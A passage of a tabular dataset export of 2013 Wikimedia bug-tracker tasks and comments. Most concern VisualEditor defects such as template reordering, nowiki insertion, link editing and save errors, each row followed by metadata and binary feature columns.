+Right now you should have a transclusion window containing two cite web templates.
+
+- Click the bottom template, and press the ^ icon to move that template to the top of the list. 
+- Now try to click the default ""Source Title"" or ""URL"" parameter in the top template. It is no longer possible to select or alter them. 
+- Extra: If you move the other template as well the same problem occurs; In that case both template's parameters can no longer be edited.
+
+Tested on Firefox 22 and Chrome 28 on Windows 7.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374229860,1385392298.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-ydbji5fefbbeiocpl24u,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0
+237251,VisualEditor: Rearranging transclusions breaks the ability to select parameters.,This was fixed as part of the transclusion dialog re-write in August; sorry for the slow triage.,,,1385392298,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ydbji5fefbbeiocpl24u,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237242,VisualEditor: Rearranging transclusions breaks the ability to select parameters.,Also happens on Linux.,,,1374477983,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ydbji5fefbbeiocpl24u,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237235,VisualEditor: Rearranging transclusions breaks the ability to select parameters.,"Addendum: It seems that this does not only affect parameters. If you try to move the templates around more then once it will no longer be possible to rearrange them (The buttons for this no longer work). Also, any template ""Corrupted"" by moving them around will not be added to the page when one presses ""Apply Changes"".",,,1374231992,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-ydbji5fefbbeiocpl24u,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,0
+53655,"VisualEditor: Relabel buttons in ""cancel editing"" confirmation dialog","**Author:** `ignatzmice.wiki`
+
+**Description:**
+The button to cancel edits and return to read mode is labeled ""cancel""; clicking it brings up a dialog box with buttons ""OK"" and ""cancel"". Clicking *that* ""cancel"" cancels the cancel and returns to editing mode—not blatantly wrong, but confusing. Perhaps the first button should be renamed ""discard edits"" or similar?
+
+Original thread: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564868353#Ambiguity_in_.22Are_you_sure_you_want_to_cancel.22_dialog.3F See also bug 47676, closed as WONTFIX.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374203640,1374267909.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z2agxnwfy52lvo6yjxrd,task_description,resolved,True,c1,3,False,False,True,2,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+236185,"VisualEditor: Relabel buttons in ""cancel editing"" confirmation dialog","Merging with bug 50955.
+
+*** This bug has been marked as a duplicate of bug 50955 ***",,,1374267909,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z2agxnwfy52lvo6yjxrd,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+236180,"VisualEditor: Relabel buttons in ""cancel editing"" confirmation dialog","The confirmation dialog should have more descriptive buttons, such as [Discard edits] [Continue editing], or [Leave editing mode] [Return to editing], etc.
+
+For this to happen, it needs to become a jQuery dialog.
+
+In fact, VE shouldn't use native confirm() dialogs; the implementation in most browsers is crappy.",,,1374212616,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-z2agxnwfy52lvo6yjxrd,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1
+53653,"VisualEditor: Double-clicking inside edit surface sometimes causes uncaught JS ""offset could not be translated"" errors","Steps to reproduce:
+
+1) Open https://en.wikipedia.org/wiki/Jam,_Iran?veaction=edit
+
+2) Double-click repeatedly inside one of the templates (e.g. infobox)
+
+The following JavaScript error appears on the console:
+
+Uncaught Error: Offset could not be translated to a DOM element and offset: 442 
+
+Chrome 28/Ubuntu
+
+See also: bug 51526
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374199860,1385392053.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-3qhhrxr2wofxfssyycod,task_description,declined,True,c1,3,False,False,False,2,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+236087,"VisualEditor: Double-clicking inside edit surface sometimes causes uncaught JS ""offset could not be translated"" errors",I can't reproduce this now' provisionally closing as WORKSFORME. Please re-open if you can still reproduce.,,,1385392053,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3qhhrxr2wofxfssyycod,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+53619,"VisualEditor: ""Leave Feedback"" link greyed out; might confuse users","The ""leave feedback"" link renders in grey, which might suggest to users that is not a functional element. Issue raised by English Wikipedia editor Hhhippo.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374162180,1385386362.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-2maqvichtgrs77o35tls,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0
+234208,"VisualEditor: ""Leave Feedback"" link greyed out; might confuse users",This design was fixed some time ago but I forgot to tag this bug; sorry!,,,1385386362,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2maqvichtgrs77o35tls,task_subcomment,,True,c1,3,True,,,21,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+53618,"""Leave Feedback"" link rendering as two lines in some fonts","Using Firefox 22.0 on Ubuntu 12.04, English Wikipedia User:Hhhippo notes that ""I see an empty line between ''User guide'' and ''Leave'' and another one between ''Leave'' and ''feedback''. My very first thought was that ''Leave'' would be the switch for signing out of the beta test (note that I didn't click it ;-)""
+
+The culprit, evidently is ""Ubuntu's default font: DejaVu Sans. That's a bit wider than e.g. Arial, so it causes a linebreak in the link. Maybe one could make that space non-breaking and have the flyout widen instead?""
+
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564802026#Follow-up
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374162000,1374162111.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-pbxss6r2sg7qfrxykect,task_description,resolved,True,c1,3,False,False,True,2,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,1,0,0
+234164,"""Leave Feedback"" link rendering as two lines in some fonts","This was already reported as bug 51335 (sorry!).
+
+*** This bug has been marked as a duplicate of bug 51335 ***",,,1374162111,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pbxss6r2sg7qfrxykect,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53567,VisualEditor: Image is not displayed on Visual Editor,"The image from [1] and is not rendered on VisualEditor [2].
+
+[1] https://pt.wikipedia.org/w/index.php?oldid=36419116
+[2] https://pt.wikipedia.org/w/index.php?oldid=36419116&veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51248",Needs Triage,90.0,1374088140,1395354371.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-tgo7euxf3cnwhcvmwsfs,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+255955,VisualEditor: Image is not displayed on Visual Editor,"I believe that this was a dupe of bug 51248.
+
+*** This bug has been marked as a duplicate of bug 51248 ***",,,1395354371,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgo7euxf3cnwhcvmwsfs,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+53554,"VisualEditor: <nowiki> tags added to all markup in paragraph, including pre-existing","At https://en.wikipedia.org/w/index.php?title=List_of_American_Dad!_characters&curid=2082680&diff=564675517&oldid=564302759 a user added a link using wikitext. The VisualEditor added <nowiki> tags around it (correct according to apparent design, incorrect according to desired behaviour). 
+
+However, it also added <nowiki> tags around every other bit of pre-existing markup in the paragraph. This is incorrect according to my understanding of the design because even if they did want to include a literal string surrounded by square brackets they did not want to alter the existing markup.
+
+Bug 5069 comment 5 suggests to me that this isn't that bug but a different one, but not what number that other bug is.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374081420,1375199816.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-rorj54kzrfz5yajplzy6,task_description,resolved,True,c1,3,False,False,True,2,,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+255037,"VisualEditor: <nowiki> tags added to all markup in paragraph, including pre-existing",This seems to have been fixed (I now can't reproduce) in the re-write of nowiki-ing code; sorry for the bug.,,,1375199810,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rorj54kzrfz5yajplzy6,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+255030,"VisualEditor: <nowiki> tags added to all markup in paragraph, including pre-existing","Really sorry, but I meant Bug 50659 comment 5 
+Dyslexia + typos to blame so entirely my fault.",,,1374081808,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-rorj54kzrfz5yajplzy6,task_subcomment,,True,c1,3,False,,,2,,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+255023,"VisualEditor: <nowiki> tags added to all markup in paragraph, including pre-existing","Sorry, typo in that last line. It should refer to Bug 50569 comment 5",,,1374081645,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-rorj54kzrfz5yajplzy6,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53534,Can't save,"Using Firefox 24, Ubuntu 13.04
+
+What I did:
+1. I was editing a page[1], made several small changes (fixing typos, rephrasing)
+2. I clicked ""Save page"" which brings up the save dialog
+3. I wrote a summary and clicked ""Save page"" again
+4. The blue throbber line appears, disappears and leaves me with the save dialog still open (not saving anything)
+5. I open the JS console and when I try to save again I see:
+  a. The HTML is submitted to the API
+  b. Before the response arrives (?) a JS error appears: ""TypeError: editApi is undefined""[2]
+  c. The API responds with a ""200 OK"" which includes a JSON error[3]
+
+When I open the JavaScript console I see the following: 1) The HTML is submitted to the API, and while that request to the API is in transit a JS error appears: 
+
+[1] https://www.mediawiki.org/wiki/VisualEditor/Portal/sv
+[2] File: https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2CviewPageTarget%7Cjquery.visibleText%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130717T024027Z&* Line: 85
+[3] {""servedby"":""mw1203"",""error"":{""code"":""unknownerror"",""info"":""Unknown error: \""tpt-target-page\""""}}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374070440,1374071458.0,PHID-USER-pwsgofaoir7tnszvfzqi,False,,False,PHID-TASK-lc76yoxati6qqmlqel6x,task_description,resolved,True,c1,3,False,False,True,2,,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+253978,Can't save,"
+
+%%%*** This bug has been marked as a duplicate of bug 50284 ***%%%",,,1374071458,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-lc76yoxati6qqmlqel6x,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0
+253968,Can't save,"...and when I try to edit it using the traditional ""Edit source"" I actually get a real error message: ""This page cannot be updated manually. This page is a translation of the page VisualEditor/Portal and the translation can be updated using the translation tool.""
+
+That message should be shown also when trying to edit with the VisualEditor.",,,1374071358,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-lc76yoxati6qqmlqel6x,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+53531,Visual Editor: Adding text after a link includes that text in the link,"If you place the cursor after the last character of a link and start typing then your text becomes part of the displayed text for that link: [[Fish]] → [[Fish|Fish and chips]] rather than the inte.nded [[Fish]] and chips or [[Fish and chips]] which would be expected from a WYSIWYG editor (even if it isn't what is wanted).
+
+There is no way to edit part of a link at all, the only way around it is to unlink the whole phrase and relink the part you want linked.
+
+This is not usually a problem, as you can work around by starting from after the space after the link.
+
+However, this is counter intuitive if you want to add punctuation after the link (add it after the space, delete the space, add space after the punctuation). It also means it is impossible to add unlinked text when the link ends the line, as happens often on disambiguation pages. For example try adding context to the links at Mandi#People. Apparently a workaround is to insert a line break, add the text and then delete the line break. I've not tested this myself though
+
+It is possible this is the same as bug 50945 but I don't think it is.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374065040,1374679397.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-jo6lx3im2dnf4fgrh2cy,task_description,resolved,True,c1,3,False,False,True,2,,1,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+253720,Visual Editor: Adding text after a link includes that text in the link,"This is actually the same as bug 51463 which we just fixed and are deploying now. Sorry for the inconvenience.
+
+*** This bug has been marked as a duplicate of bug 51463 ***",,,1374679397,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jo6lx3im2dnf4fgrh2cy,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+253712,Visual Editor: Adding text after a link includes that text in the link,"**JohnCD67** wrote:
+
+This is quite a serious problem because a user who tries to set up a link at the right hand end of a line, i.e. without having first typed at least one space beyond it, becomes trapped in a mode where all further typing goes inside the link, and there is no easy way out. I think this is what is causing peculiar links, e.g. a link to ""Chendo"" piped to ""Chendo, "" and one to ""Manolo Sanchís"" piped to ""Manolo Sanchís and "". See report at
+
+[[:en:WP:VisualEditor/Feedback#You have to type something after a word before attempting to wikilink it]]",,,1374678668,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jo6lx3im2dnf4fgrh2cy,task_subcomment,,True,c1,3,False,,,3,,1,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+53530,VisualEditor: Tab key moves focus between citations; doesn't indent text as expected,"Editor HHHIPPO on English Wikipedia notes that the tab key does not increase indentation (as promised in the greyed out icon on the ribbon) but rather jumps from citation to citation. (For me, it also lands on wikilinks in templates.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374064500,1395359458.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-nuhotkfh44rday75ra54,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+253661,VisualEditor: Tab key moves focus between citations; doesn't indent text as expected,"
+
+*** This bug has been marked as a duplicate of bug 48010 ***",,,1395359458,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nuhotkfh44rday75ra54,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53528,"VisualEditor: Inserting whitespace in front of a paragraph shouldn't convert the paragraph to a preformatted block, but also shouldn't leave unneeded <nowiki>s","On English Wikipedia, a user reports the following:
+*Added leading whitespace to paragraph in VE. Text appears fine in VE, with leading whitespace as an indentation.
+*Saved. VE adds nowiki tags before the whitespace and after the first few words. Text displays without indent.
+*Tried removing the whitespace in VE.
+*VE won't allow the whitespace to be removed, but instead will only permit the first few words to be deleted.
+This is with Chrome 28 + Windows 7. I'll see if I can work out the conditions that would have created the first problem. - Bilby (talk) 02:37, 16 July 2013 (UTC)
+VEspaceremoval.png
+
+I tried to replicate this myself.
+*Added whitespace to the lead of an article, and it nowikied. http://en.wikipedia.org/w/index.php?title=Quadrangle_%28architecture%29&diff=564486949&oldid=563578917
+
+*It turned the first word into an uneditable element. See image: http://en.wikipedia.org/wiki/File:VEspaceremoval.png 
+
+*Curious as to what the nowikis would do to formatting, I found an article that had formatting on the first word. It added space, no ""nowiki."" http://en.wikipedia.org/w/index.php?title=Marloth_Park&diff=564487138&oldid=557816381
+
+* It allowed me to remove the space in VE.
+
+
+(Also using Chrome on 7.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374063600,1385386267.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-tpc6ler6znj3xz2beohn,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0
+253588,"VisualEditor: Inserting whitespace in front of a paragraph shouldn't convert the paragraph to a preformatted block, but also shouldn't leave unneeded <nowiki>s",This was fixed in July; sorry for the slow triage.,,,1385386267,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tpc6ler6znj3xz2beohn,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+53514,update.php does not give any response.,"I meat an annoying problem. I tried to upgrade my wiki from 1.20.6 (0727d6a) to 1.22wmf9 in order to use VisualEditor. (nginx/1.2.5 php_version5.3.23 on Linode VPS)
+
+The serves running few wikis using one set mediawiki software. I tried to php update.php the largest 1.5G Chinese version, but the script simple give no response.
+
+example: 
+ [root@moegirl maintenance]# php  update.php
+ [root@moegirl maintenance]# 
+I tried other smaller site, it react like this:
+<pre>
+MediaWiki 1.22wmf9 Updater
+
+Going to run database updates for enwiki
+Depending on the size of your database this may take a while!
+Abort with control-c in the next five seconds (skip this countdown with --quick)
+ ... 0
+[root@moegirl maintenance]#
+</pre>
+The web updater works good for small wiki, but the 1.5G one will receive ""Timeout""
+
+The most annoying thing is when I tried to upgrade same database to 1.22wmf9, all of then works as normal. Only the major linode VPS we are using have this problem.
+
+Anyone had ever meet same problem? Is this a new bug? How to solve it?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374048060,1374051736.0,PHID-USER-qrnoqj2szt6knvcqvaxt,False,,False,PHID-TASK-eril5tvgiad53f3rcpft,task_description,declined,True,c1,3,False,False,True,2,,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+252854,update.php does not give any response.,"Find out reason. For some unknown reason, the php does not shows error message. When one of my friend tried 
+
+php -n update.php
+
+it showed the error message and we fix it very soon according to it.",,,1374051736,,PHID-USER-qrnoqj2szt6knvcqvaxt,False,,,PHID-TASK-eril5tvgiad53f3rcpft,task_subcomment,,True,c1,3,False,,,2,,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1
+252847,update.php does not give any response.,"The most annoying thing is when I tried to upgrade same database to 1.22wmf9 on other vps, all of then works as normal.",,,1374048262,,PHID-USER-qrnoqj2szt6knvcqvaxt,False,,,PHID-TASK-eril5tvgiad53f3rcpft,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0
